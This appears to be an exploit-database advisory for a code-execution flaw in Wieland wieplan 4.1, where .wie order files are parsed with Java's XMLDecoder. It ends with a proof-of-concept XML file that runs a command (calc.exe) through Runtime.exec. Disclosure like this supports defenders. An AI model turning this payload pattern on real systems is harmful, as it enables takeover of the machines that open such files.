Wieland wieplan 4.1 Document Parsing Java Code Execution Using XMLDecoder

vendor:

wieplan

by:

Gjoko 'LiquidWorm' Krstic

7,5

CVSS

HIGH

Arbitrary Java Code Execution

CWE

Product Name: wieplan

Affected Version From: 4.1 (Build 9)

Affected Version To: 4.1 (Build 9)

Patch Exists: NO

Related CWE: N/A

CPE: a:wieland_electric:wieplan:4.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Microsoft Windows 7 Professional SP1 (EN), Microsoft Windows 7 Ultimate SP1 (EN), Java/1.8.0_73, Java/1.6.0_62

2016

Wieland wieplan 4.1 Document Parsing Java Code Execution Using XMLDecoder

wieplan suffers from an arbitrary java code execution when parsing WIE documents that uses XMLDecoder, allowing system access to the affected machine. The software is used to generate custom specification order saved in .wie XML file that has to be sent to the vendor offices to be processed.

Mitigation:

Ensure that the XMLDecoder is not used to parse untrusted XML documents.

Source

Exploit-DB raw data:

Wieland wieplan 4.1 Document Parsing Java Code Execution Using XMLDecoder


Vendor: Wieland Electric GmbH
Product web page: http://www.wieland-electric.com
Affected version: 4.1 (Build 9)

Summary: Your new software for the configuration
of Wieland terminal rails. wieplan enables you to
plan a complete terminal rail in a very simple way
and to then place an order with Wieland. The configured
terminal rail can be stored in DXF format and read
into a CAD tool for further processing. Due to the
intuitive user interface, the configuration of terminal
rails with wieplan is easy.

Desc: wieplan suffers from an arbitrary java code
execution when parsing WIE documents that uses XMLDecoder,
allowing system access to the affected machine. The
software is used to generate custom specification
order saved in .wie XML file that has to be sent
to the vendor offices to be processed.

Tested on: Microsoft Windows 7 Professional SP1 (EN)
           Microsoft Windows 7 Ultimate SP1 (EN)
           Java/1.8.0_73
           Java/1.6.0_62


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5304
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5304.php


25.11.2016

---


<?xml version="1.0" encoding="UTF-8"?>
<java version="1.6.0_02" class="java.beans.XMLDecoder">
 <object class="java.lang.Runtime" method="getRuntime">
    <void method="exec">
        <string>c:\\windows\\system32\\calc.exe</string>
    </void>
 </object>
</java>